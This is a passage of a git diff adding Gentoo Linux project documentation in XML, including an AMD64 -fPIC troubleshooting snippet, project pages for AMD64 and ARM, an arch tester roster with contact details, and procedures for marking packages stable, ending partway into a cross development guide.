+link="http://bugs.mysql.com/bug.php?id=8796">mysql bug 8796</uri> for an example.
+</p>
+
+<p>
+Sometimes it is also the case that a library isn't intended to be a shared
+library at all, e.g. because it makes heavy usage of global variables. In this
+case the solution is to turn the to-be-built shared library into a static one.
+</p>
+
+<p>
+See <uri link="http://bugs.gentoo.org/131460">bug 131460</uri> for an example.
+</p>
+
+<pre caption="A sample error message">
+gcc   -fPIC -DSHARED_OBJECT -c lex.yy.c
+gcc  -shared -o html2txt.so lex.yy.o -lfl
+usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../x86_64-pc-linux-gnu/bin/ld:
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a(libyywrap.o):
+relocation R_X86_64_32 against `a local symbol' can not be used when making a
+shared object; recompile with -fPIC
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a: could not
+read symbols: Bad value
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/index.xml b/xml/htdocs/proj/en/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..35820e1d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/index.xml
@@ -0,0 +1,56 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/index.xml,v 1.11 2006/10/03 13:29:51 blubb Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml">
+<title>Gentoo/AMD64 Howtos </title>
+
+<author title="Maintainer"><mail link="slarti@gentoo.org">Tom Martin</mail></author>
+<author title="Maintainer"><mail link="blubb@gentoo.org">Simon Stelling</mail></author>
+
+<abstract>
+Here, you can find the Gentoo/AMD64 Howtos.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+
+<part>
+	<title>Gentoo/AMD64 Howtos</title>
+<abstract>
+Provides howtos for Gentoo/AMD64 users.
+</abstract>
+
+
+<chapter>
+	<title>Howto file bugs</title>
+<abstract>
+	Provides information on howto file a bug related to the Gentoo/AMD64 Platform.
+</abstract>
+	<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+	<title>32Bit Chroot Guide for Gentoo/AMD64</title>
+<abstract>
+	This guide will help you setup a 32Bit chroot for your Gentoo/AMD64 system.
+</abstract>
+	<include href="chroot-old.xml"/>
+</chapter>
+
+<chapter>
+	<title>HOWTO fix -fPIC errors</title>
+<abstract>
+	This HOWTO is aimed at developers and interested users showing how to fix -fPIC errors
+</abstract>
+	<include href="fpic-howto.xml"/>
+</chapter>
+
+</part>
+
+
+</book>
diff --git a/xml/htdocs/proj/en/base/amd64/index.xml b/xml/htdocs/proj/en/base/amd64/index.xml
new file mode 100644
index 00000000..1ca369f4
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/index.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+
+<name>Gentoo/AMD64</name>
+
+<longname>Gentoo/AMD64 Project</longname>
+
+<description>
+The Gentoo/AMD64 Project is devoted to providing stable, secure and up-to-date
+releases of Gentoo for the AMD64 and EM64T processor families.
+</description>
+
+<longdescription>
+
+<p>The Gentoo/AMD64 Project works to make Gentoo the most up to date,
+fast, robust AMD64 Linux distribution available.  Part of
+this involves coming up with innovative ways to integrate a 32bit
+compatibility layer into our native 64bit userland without tainting
+or interleaving the current environment. Our main goal is to
+provide a stable production-quality release targeted at servers
+which will be the core use of the Opteron processors.</p>
+
+<p>The AMD line of 64-bit extended processors were released well ahead of 
+Intel's offering. Therefore, for historical reasons the arch keyword for all 
+x86-64 compatible architectures is amd64. </p>
+
+</longdescription>
+
+<subproject ref="/proj/en/base/amd64/at/index.xml"/>
+<extraproject name="Release Engineering" lead="kingtaco">
+Development and maintenance of the Gentoo/AMD64 Live- and Install-CDs, the
+installation stages and the related development tools. (Catalyst and Genkernel)
+</extraproject>
+
+<dev role="Strategic Lead" description="Kernel, pitr">kingtaco</dev>
+<dev role="Operational Lead" description="Releases">angelos</dev>
+<dev role="Operational Lead" description="Security Team liaison">keytoaster</dev>
+<dev role="Arch Tester Lead">hparker</dev>
+<dev role="Developer">beandog</dev>
+<dev role="Developer">chainsaw</dev>
+<dev role="Developer">cla</dev>
+<dev role="Developer">cryos</dev>
+<dev role="Developer">tanderson</dev>
+<dev role="Developer">ken69267</dev>
+<dev role="Developer">maekke</dev>
+<dev role="Developer">pva</dev>
+<dev role="Developer">tester</dev>
+<dev role="Developer" description="GNOME">chutzpah</dev>
+<dev role="Developer" description="GNOME Team liaison">mrpouet</dev>
+<dev role="Developer">hwoarang</dev>
+<dev role="Developer">djc</dev>
+
+<extrachapter position="top">
+<title>Documentation</title>
+<section>
+<body>
+<p>The Gentoo/AMD64 project offers the following documentation:</p>
+<ul>
+<li><uri link="/doc/en/gentoo-amd64-faq.xml">Gentoo/AMD64 FAQ</uri></li>
+<li><uri link="/doc/en/handbook/handbook-amd64.xml">Gentoo/AMD64 handbook</uri></li>
+<li><uri link="/proj/en/base/amd64/howtos/chroot.xml">32bit chroot howto</uri></li>
+<li>Further, development-related documentation is listed in chapter "Resources" below</li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<resource link="mailto:gentoo-amd64+subscribe@gentoo.org">Gentoo/AMD64 mailing list</resource>
+<resource link="irc://irc.gentoo.org/gentoo-amd64">Gentoo/AMD64 IRC channel</resource>
+<resource link="http://forums.gentoo.org/viewforum-f-46.html">Gentoo/AMD64 forum</resource>
+<resource link="http://bugs.gentoo.org/">Gentoo Bugzilla</resource>
+<resource link="/proj/en/base/amd64/emul/content.xml">Package content listing for the app-emulation/emul-linux-x86-* packages</resource>
+<resource link="/proj/en/base/amd64/howtos/fpic.xml">HowTo fix -fPIC errors</resource>
+<resource link="/proj/en/base/amd64/emul/index.xml">How to Create Emul-Packages</resource>
+
+<extrachapter position="bottom">
+<title>How to Participate</title>
+<section>
+<body>
+
+<p>There are several ways to help the distribution and its community:</p>
+<ul>
+<li>Answering questions on the <mail link="gentoo-amd64+subscribe@gentoo.org">mailing list</mail>,
+the <uri link="http://forums.gentoo.org/">forums</uri> or the <uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64 IRC channel.</uri></li>
+<li><uri link="http://bugs.gentoo.org/">Filing bug reports</uri> for bugs you find.</li>
+<li>Applying for an <uri link="/proj/en/base/amd64/at/">arch tester</uri> position.</li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<herd name="amd64"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/amd64/tests/arch-testers-amd64.xml b/xml/htdocs/proj/en/base/amd64/tests/arch-testers-amd64.xml
new file mode 100644
index 00000000..94b939bd
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/tests/arch-testers-amd64.xml
@@ -0,0 +1,345 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/tests/arch-testers-amd64.xml,v 1.63 2010/08/13 15:17:10 hwoarang Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2010.1</version>
+<date>2010-08-13</date>
+
+<section>
+<title>AMD64 Arch Testers Information</title>
+
+<body>
+<p>
+Gentoo/AMD64 will maintain a pool of "Arch Testers" hence forth referred to
+AT's.  One or more AMD64 Developers will take the responsiblity of 
+managing the AT group.  ATs will be included on the amd64@gentoo.org alias, so 
+they can be informed of all bug activity. The current AT head is Homer Parker. 
+Any problems/suggestions/flames should be directed at him.
+</p>
+
+<p>
+ATs will be responsible for responding to all test requests in a timely
+manner (keywording, security, marking stable, requests from devs on irc,
+etc...) and ensuring that the application works, as well as check that the
+ebuild doesn't contain any glaring errors. ATs must keep their system up to
+date, use reasonable CFLAGS, LDFLAGS, and keep with the current profile.  When marking
+a bug as tested all ATs will use the keyword "TESTED" in bugzilla (in the
+"keywords" field)
+</p>
+
+<note>
+You are adviced to use -Wl,--hash-style=gnu on your LDFLAGS or use
+linux/amd64/dev profile which enables that by default. This way you will be
+able to track down packages not respecting the LDFLAGS and open a respective
+bug before you mark this packages stable.
+</note>
+
+<p>
+Gentoo/AMD64 developers will be able to take ATs word at their own discretion.
+Ultimatly, commiting the requested changes will be the dev's responsibility .  Feel free to ask for
+more than one tester if you feel the bug warrants it.
+</p>
+
+<p>
+Prospective AT's will have to pass the ebuild quiz, currently <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">here.</uri>
+Additionally, all quizes for Gentoo/AMD64 should be submitted to
+<e>jmbsvicetoo@gentoo.org</e> and <e>dang@gentoo.org</e>. For another
+Architectures you should submit only to <e>jmbsvicetoo@gentoo.org</e>.
+</p>
+
+<p>
+A note about arch testers "status": Gentoo/AMD64 Arch Testers are not official
+Gentoo developers.  They are, however, a recognized part of the Gentoo/AMD64 arch
+team.  I ask that all AT's keep this in mind when selecting email signatures or
+other forms of communication.
+</p>
+
+<table>
+<tr>
+<th>Current AMD64 Arch Testers</th>
+<th>Nickname</th>
+<th>GPG key</th>
+<th>Status</th>
+<th>e-mail</th>
+</tr>
+<tr>
+<ti>Andreas Pokorny</ti>
+<ti>DieMumiee</ti>
+<ti>C034DCEB</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>diemumie@gentoo.org</ti>
+</tr>
+<tr>
+<ti>James Stockton</ti>
+<ti>piolyte</ti>
+<ti>3240E9DA</ti>
+<ti>Inactive(12 Feb 2005)</ti>
+<ti></ti>
+</tr>
+<tr>
+<ti>Homer Parker</ti>
+<ti>hparker</ti>
+<ti>6EC767EF</ti>
+<ti>Strategic Lead</ti>
+<ti>hparker@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Chris Parrott</ti>
+<ti>cparrott</ti>
+<ti>0F09F956</ti>
+<ti>Retired, now an official Dev</ti>
+<ti>cparrott@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Daniel Gryniewicz</ti>
+<ti>dang</ti>
+<ti>5D119EB1</ti>
+<ti>Operational Lead</ti>
+<ti>dang@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Lares Moreau</ti>
+<ti>lares</ti>
+<ti>ADE48B20</ti>
+<ti>Inactive</ti>
+<ti>lares.moreau@gmail.com</ti>
+</tr>
+<tr>
+<ti>Herbie Hopkins</ti>
+<ti>Herbs</ti>
+<ti>CE08B2E4</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>herbs@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Diego Petten</ti>
+<ti>Flameeyes</ti>
+<ti>69875563</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>flameeyes@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Uri Sivan</ti>
+<ti>suri</ti>
+<ti>B3103BD8</ti>
+<ti>Inactive</ti>
+<ti>tartif@gmail.com</ti>
+</tr>
+<tr>
+<ti>Allan Wang</ti>
+<ti>allanw</ti>
+<ti>3ED13A77</ti>
+<ti>Active</ti>
+<ti>allanvv@gmail.com</ti>
+</tr>
+<tr>
+<ti>Luis Medinas</ti>
+<ti>metalgod</ti>
+<ti>29441D0A</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>metalgod@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Jim Laflin</ti>
+<ti>fatboyjim</ti>
+<ti>776904C0</ti>
+<ti>Inactive</ti>
+<ti>jimlaflin@gmail.com</ti>
+</tr>
+<tr>
+<ti>Richard Freeman</ti>
+<ti>rich0</ti>
+<ti>A6665569</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>rich0@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Mike Cvet</ti>
+<ti>Heuristic</ti>
+<ti>F2094183</ti>
+<ti>Inactive</ti>
+<ti>mcvet@i2ce.com</ti>
+</tr>
+<tr>
+<ti>Kyle Schlansker</ti>
+<ti>|Kyle|</ti>
+<ti>1A40B0AA</ti>
+<ti>Inactive</ti>
+<ti>kylesch@gmail.com</ti>
+</tr>
+<tr>
+<ti>Jose Costa</ti>
+<ti>meetra</ti>
+<ti>168F689B</ti>
+<ti>Inactive</ti>
+<ti>meetra@gmail.com</ti>
+</tr>
+<tr>
+<ti>Aj Armstrong</ti>
+<ti>aja</ti>
+<ti>0E38FB16</ti>
+<ti>Inactive</ti>
+<ti>ajarmst@gmail.com</ti>
+</tr>
+<tr>
+<ti>Hal Brodigan</ti>
+<ti>postmodern</ti>
+<ti>73B4C2EA</ti>
+<ti>Active</ti>
+<ti>brodigan@pdx.edu</ti>
+</tr>
+<tr>
+<ti>Ben Skeggs</ti>
+<ti>darktama</ti>
+<ti>1A72A571</ti>
+<ti>Inactive</ti>
+<ti>darktama@iinet.net.au</ti>
+</tr>
+<tr>
+<ti>Ahmed Ammar</ti>
+<ti>b33fc0d3</ti>
+<ti>F39FA496</ti>
+<ti>Active</ti>
+<ti>b33fc0d3@gmail.com</ti>
+</tr>
+<tr>
+<ti>Kristin Galway</ti>
+<ti>KristinG</ti>
+<ti>A02AA8B7</ti>
+<ti>Active</ti>
+<ti>klgalway@gmail.com</ti>
+</tr>
+<tr>
+<ti>George Prowse</ti>
+<ti>cokehabit</ti>
+<ti>B65E56AC</ti>
+<ti>Inactive</ti>
+<ti>cokehabit@gmail.com</ti>
+</tr>
+<tr>
+<ti>Scott Stoddard</ti>
+<ti>deltacow</ti>
+<ti>77781656</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>deltacow@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Tres Melton</ti>
+<ti>RiverRat</ti>
+<ti>89383000</ti>
+<ti>Inactive</ti>
+<ti>tres@mindspring.com</ti>
+</tr>
+<tr>
+<ti>Patrick McLean</ti>
+<ti>chutzpah</ti>
+<ti>FD8265D9</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>chutzpah@gentoo.org</ti>
+</tr>
+<tr>
+<ti>Nathan Sullivan</ti>
+<ti>CpuID</ti>
+<ti>DE9B4353</ti>
+<ti>Active</ti>
+<ti>nathan@nightsys.net</ti>
+</tr>
+<tr>
+<ti>José Valentín Gutiérrez Boquete</ti>
+<ti>nicote</ti>
+<ti>0x53C6EF47</ti>
+<ti>Active</ti>
+<ti>nicote@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Peter Weller</ti>
+<ti>welp</ti>
+<ti>94C7C247</ti>
+<ti>Retired, is now an official Dev</ti>
+<ti>welp@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Michael Weyershäuser</ti>
+<ti>thedude0001</ti>
+<ti>857A07FC</ti>
+<ti>active</ti>
+<ti>thedude0001@gmx.de</ti>
+</tr>
+
+<tr>
+<ti>Mike Bonar</ti>
+<ti>glide</ti>
+<ti>BF978D23</ti>
+<ti>active</ti>
+<ti>mike.bonar@shaw.ca</ti>
+</tr>
+
+<tr>
+<ti>Christoph Mende</ti>
+<ti>angelos</ti>
+<ti>DF4D6260</ti>
+<ti>active</ti>
+<ti>ch.mende@googlemail.com</ti>
+</tr>
+
+<tr>
+<ti>Ioannis Polyzos</ti>
+<ti>oMiC</ti>
+<ti>C477AC91</ti>
+<ti>active</ti>
+<ti>omicron@null-box.org</ti>
+</tr>
+
+<tr>
+<ti>Richard Fleming</ti>
+<ti>Fenix</ti>
+<ti>CB5B2F6A</ti>
+<ti>active</ti>
+<ti>fenixrf@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Tobias Heinlein</ti>
+<ti>keytoaster</ti>
+<ti>45747B0B</ti>
+<ti>active</ti>
+<ti>keytoaster@googlemail.com</ti>
+</tr>
+
+<tr>
+<ti>Bastiaan Visser</ti>
+<ti>bastiaan</ti>
+<ti>D272EA5E</ti>
+<ti>active</ti>
+<ti>bugs.gentoo.org@cj-multisoft.nl</ti>
+</tr>
+
+<tr>
+<ti>Stuart Stegall</ti>
+<ti>Cleric></ti>
+<ti>F9B573A6</ti>
+<ti>active</ti>
+<ti>bugs@thecleric.org</ti>
+</tr>
+
+<tr>
+<ti>Dustin J. Mitchell</ti>
+<ti>dustin</ti>
+<ti>7F0D15B1</ti>
+<ti>active</ti>
+<ti>dustin@v.igoro.us</ti>
+</tr>
+
+</table>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/amd64/tests/at-procedures-amd64.xml b/xml/htdocs/proj/en/base/amd64/tests/at-procedures-amd64.xml
new file mode 100644
index 00000000..5042de27
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/tests/at-procedures-amd64.xml
@@ -0,0 +1,190 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/tests/at-procedures-amd64.xml,v 1.11 2009/10/10 12:46:50 darkside Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>1.1</version>
+<date>2006-08-10</date>
+
+<section>
+<title>Marking Stable:  When and How?</title>
+<body>
+
+<p>
+The <uri link="http://dev.gentoo.org/~darkside/perm/imlate.txt">imlate</uri>
+file is there to show which packages on amd64 are lagging
+behind on x86 and need to be tested and eventually marked stable. It's
+very useful to have people systematically testing these packages - it
+helps to keep amd64 as up-to-date as possible. The following guidelines
+are specifically aimed at Gentoo/AMD64 Arch Testers (ATs) doing testing.
+</p>
+
+<ul>
+<li>
+  Check the newest version of the package is marked ~amd64 (TESTING),
+  if not please read the next section of the document for the steps
+  to follow to quickly/efficiently have a package keyworded ~amd64.
+  <br/><br/>
+</li>
+
+<li>
+  If the package is already ~amd64, then:
+  <ul>
+    <li>
+      Check to see when it was marked ~amd64. There should be a date
+      in the package changelog, but if there isn't please use the
+      ViewCVS functionality on http://sources.gentoo.org to look for
+      the date it was keyworded ~amd64. If it was less than 30 days
+      ago, the package is not eligible to be marked stable, but
+      testing and feedback are still greatly appreciated.
+    </li>
+    <li>
+      Check for bugs on this particular version of the package. If a
+      bug has been open in the last 30 days, it is not eligible.
+    </li>
+    <li>
+      If it has been in testing for more than 30 days, and has not
+      had an open bug in the last 30 days, you need to test it in a
+      thorough and systematic manner. Every conceivable permutation
+      should be checked and rechecked - if it breaks you need to go
+      onto Bugzilla and open a relevent bug. If it doesn't break and
+      you are totally satisfied it's stable, continue to the final
+      step -- but beware, its your head if this package breaks!
+    </li>
+    <li>
+      Assuming it meets all the criteria (tested for 30+ days, no
+      bugs in the last 30 days, AT tested) you may open a bug with
+      the title '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is stable on AMD64'.
+      Assign the bug directly to amd64@gentoo.org to avoid making
+      more work for the poor Bug Wranglers. You should include the
+      output of your 'emerge --info' and keyword the bug <c>STABLE</c>. Just
+      wait a while, a developer will review the bug, and mark stable.
+    </li>
+  </ul>
+</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Marking Testing:  What's the drill?</title>
+<body>
+
+<p>
+In some cases the imlate file may show packages where the latest version is
+not yet ~amd64, or a new and popular package needs to be keyworded ~amd64. In
+these cases, we need to have them 'marked testing' - so when they're bug free
+for thirty days they can be made amd64 stable.
+</p>
+
+<ul>
+<li>
+  Check the package hasn't already got any open bugs regarding it being
+  marked testing. Quite often users will prod us about popular packages
+  needing a keyword before any devs/ATs even notice ;)<br/><br/>
+</li>
+
+<li>
+  If the package doesn't have a bug yet, go ahead and start:<br/><br/>
+  <ul>
+    <li>
+      Check to see whether previous versions of the package were in
+      testing or stable on AMD64. If the version increment is only a
+      minor one (1.4.0 to 1.4.1) and previous version was stable, it's
+      slightly different to where a package has had a major version
+      increment or has never been ~amd64/amd64.<br/><br/>
+      <ul>
+	<li>
+	  <b>
+	    Previous version keyworded, minor version increment</b><br/>
+	    Check the changelog for the version increment, install the package
+            and test any new, improved or otherwise modified features. Check
+            the install is smooth, everyday functionality is there and there
+            are no glaringly obvious bugs. If you see any bugs, file them on
+            Bugzilla and when they're resolved test again. If everything seems
+            okay, proceed to the final stage (putting in the ~amd64 request).
+	  </li>
+	  <li>
+	    <b>Previous version keyworded, major version increment</b><br/>
+	    Check the changelog, install the package and test all the new and
+            improved features. Check for bugs in previous versions, see if they
+            have been fixed and be especially careful to see whether new ones
+            crept in with all the new code. Test all the other functionality,
+            even stuff which you 'think' will work - a major version increment
+            means a lot of changes, and it's treated almost like a new addition
+            to the tree - everything has to be tested and verified. If you're
+            happy it seems to be running okay, proceed to the final stage.
+	  </li>
+	  <li>
+	    <b>New package, not keyworded before</b><br/>
+	    Anything which has never been amd64 keyworded before is a little
+            more tricky to process. You don't have a nice changelog to refer
+            to for a list of things to test, a previous version which worked
+            to use as reference or much other help. You need to install the
+            package and then test thoroughly:<br/><br/>
+            <ol>
+              <li>
+                 Package should install without errors and be ready to run
+                 'out of the box' with minimal effort on the part of user.
+              </li>
+              <li>
+                 Major functionality (which isn't hard to test) should all
+                 work with no significant errors. Minor errors like a typo
+                 are probably acceptable, and we understand you can't go
+                 through every operation possible, but it should work in
+                 an acceptable manner for day-to-day usage by a user.
+              </li>
+              <li>
+                 Package shouldn't break anything related...
+              </li>
+            </ol><br/>
+            Assuming it installs, loads and works pretty well with no major
+            errors - please proceed to the final step and congratulate your
+            computer on adding yet another package to the expanding arsenal!
+	  </li>
+	<li>
+	    <b>Package requires patches that are in bugs.gentoo.org</b><br/>
+	    Make a comment in your bug stating that these patches fix issues
+	    with the package, and CC the maintainer of the package. Developers
+	    will then wait 7-30 days to commit if maintainer does not handle
+	    the bug. The types of patches in this category include: arch 
+	    specific patches, multi-lib strict, etc.
+	</li>
+	</ul>
+      <br/>
+      </li>
+      
+      <li>
+	Assuming your testing efforts above went well, and all procedures were
+        followed, you are now ready to open a bug and metaphysically prod a dev
+	into committing the change.
+	<br/><br/>
+	<ul>
+	  <li>
+	    Open a bug with '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is TESTED on AMD64'
+	    as the title. Assign the bug a keyword:  TESTED
+	  </li>
+	  <li>
+	    Assign the bug directly to amd64@gentoo.org - saves giving those
+	    Bug Wranglers yet another grey hair on their already snowy heads.
+	  </li>
+	  <li>
+	    Include a short description of the package, what you tested and
+            your 'emerge info'. Explicitly specify you wish the ~amd64 to be
+            added to the keywords, it helps us grumpy old developers focus
+	    at 3am in the morning when sleep is probably a good idea ;)
+	  </li>
+	  <li>Sit back and wait, someone will resolve the bug ASAP.</li>
+	</ul>
+      </li>
+    </ul>
+  </li>
+</ul>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/amd64/tests/index.xml b/xml/htdocs/proj/en/base/amd64/tests/index.xml
new file mode 100644
index 00000000..3f8e1fde
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/tests/index.xml
@@ -0,0 +1,47 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/tests/index.xml,v 1.7 2005/12/11 16:59:57 jhuebel Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml">
+<title>Gentoo/AMD64 Testing Docs </title>
+
+<author title="Maintainer"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+
+<abstract>
+Documents related to AMD64 testing, including procedures and AT application process.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-12-11</date>
+
+<part>
+	<title>Gentoo/AMD64 Testing Docs</title>
+<abstract>
+Provides testing documentation for Gentoo/AMD64 users.
+</abstract>
+
+
+<chapter>
+	<title>Gentoo/AMD64 Arch Testers</title>
+<abstract>
+	Explains what arch testing involves and how it relates to core Gentoo/AMD64 efforts.
+</abstract>
+	<include href="arch-testers-amd64.xml"/>
+</chapter>
+
+<chapter>
+	<title>AT Procedures</title>
+<abstract>
+	Document explaining the formal procedures involved in arch testing for AMD64, including applications.
+</abstract>
+	<include href="at-procedures-amd64.xml"/>
+</chapter>
+
+</part>
+
+
+</book>
diff --git a/xml/htdocs/proj/en/base/arm/index.xml b/xml/htdocs/proj/en/base/arm/index.xml
new file mode 100644
index 00000000..f06d049d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/arm/index.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+  <name>Gentoo ARM</name>
+
+  <longname>Gentoo Linux ARM Development</longname>
+
+  <description>
+    The ARM Development Project is devoted to keeping Gentoo in good shape
+    on the ARM architecture.
+  </description>
+
+  <longdescription>
+
+    <p>The Gentoo/ARM Project works to keep Gentoo the most up to date and
+    fastest ARM distribution available. We are responsible for the
+    maintainance of all ARM specific meta-data and the testing of all other
+    non ARM specific meta-data on the ARM architecture to ensure
+    portability. Portability implies reuseable meta-data.</p>
+
+    <p>Bugs are tracked and resolved from the <uri
+    link="http://bugs.gentoo.org">Gentoo bug tracker</uri> and correspondence is
+    maintained on the various ARM related mailinglists.  (gentoo-arm and those belonging to the sub-projects).</p>
+
+  </longdescription>
+
+  <goals>
+
+    <p>The goal of the Gentoo ARM development project is to guarantee that
+    the ARM packages build using Gentoo meta-data are up to date.  By
+    continuously enhancing the meta-data, we provide the ARM user with the
+    Gentoo community feeling, performance, freedom and up to dateness.  The
+    meta-distribution notion allows for a user to to be as bleeding edge as
+    he/she wants:</p>
+
+    <p>Gentoo is unique because of its interpretation of the Meta-Distribution
+    notion: all architectures share the same 'generic' meta-data (information
+    about how to build packages - how to build a distribution). The ARM
+    developers are responsible for building and testing packages using this
+    meta-data.  The meta-data gets marked 'tested' or 'stable' afterwards,
+    depending on the building and testing expierience. Our users can use (but
+    don't have to use) this information to build a system that suits their
+    needs.</p>
+
+  </goals>
+
+  <dev role="Lead" description="Gentoo/ARM">vapier</dev>
+  <dev role="Member" description="Gentoo/ARM">armin76</dev>
+  <dev role="Member" description="Gentoo/ARM">maekke</dev>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+
+        <p>Can you make computers do amazing things? Are you excited about
+        exploring areas of computing never explored before? We are continuously
+        looking for volunteers willing to spend some of their free time on this
+        project. In return for your work, you get the respect of the ARM
+        community.</p>
+
+        <p>If you are interested in helping, but don't have a niche that you are
+        interested in filling, you can always look through <uri
+        link="http://bugs.gentoo.org">bugs.gentoo.org</uri>. There are many many
+        bugs waiting to be found and fixed and many enhancements looking to find
+        someone to code them. Figure out a fix, implement it, test it, and then
+        keep trying to make the patch smaller. Post it for review on <uri
+        link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, and keep working on
+        it. If it seems ignored, make a new comment in the bug and/or mention it
+        in #gentoo-ARM.</p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+<herd name="ARM"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/embedded/cross-development.xml b/xml/htdocs/proj/en/base/embedded/cross-development.xml
new file mode 100644
index 00000000..7692ca55
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/cross-development.xml
@@ -0,0 +1,844 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/cross-development.xml,v 1.3 2007/12/24 20:30:06 vapier Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/cross-development.xml" lang="en">
+<title>Gentoo Cross Development Guide</title>
+
+<author title="Author">
+  <mail link="alextarkovsky@gmail.com">Alex Tarkovsky</mail>
+</author>
+
+<author title="Reviewer">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+
+<abstract>
+This guide demonstrates the use of Gentoo tools to develop for non-native
+platforms.
+</abstract>
+
+<!--
+Released into the public domain
+-->
+
+<version>1.0</version>
+<date>2006-08-22</date>
+
+<chapter>
+<title>Deprecated</title>
+<section>
+<body>
+<p>
+This guide is outdated by the <uri link="handbook">Embedded Handbook</uri>.
+Please use that from now on.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Overview</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Cross development has traditionally been a black art, requiring a lot of
+research, trial and error, and perseverance. Intrepid developers face a
+shortage of documentation and the lack of mature, comprehensive open source
+toolkits for multi-platform cross development. Ongoing work by the
+<uri link="http://www.gentoo.org/proj/en/base/embedded/index.xml">Embedded
+Gentoo project</uri>, the <mail link="toolchain@gentoo.org">Gentoo Toolchain
+herd</mail>, and other contributors is yielding a Gentoo-based development
+platform that greatly simplifies cross development.
+</p>
+
+<p>
+In this guide we demonstrate how to use these Gentoo development tools for
+three common cross development tasks:
+</p>
+
+<ol>
+  <li>Building a cross toolchain</li>
+  <li>Cross-compiling binary packages</li>
+  <li>Cross-compiling a kernel</li>
+</ol>
+
+<p>
+The content of this guide is being merged into a forthcoming Gentoo Embedded
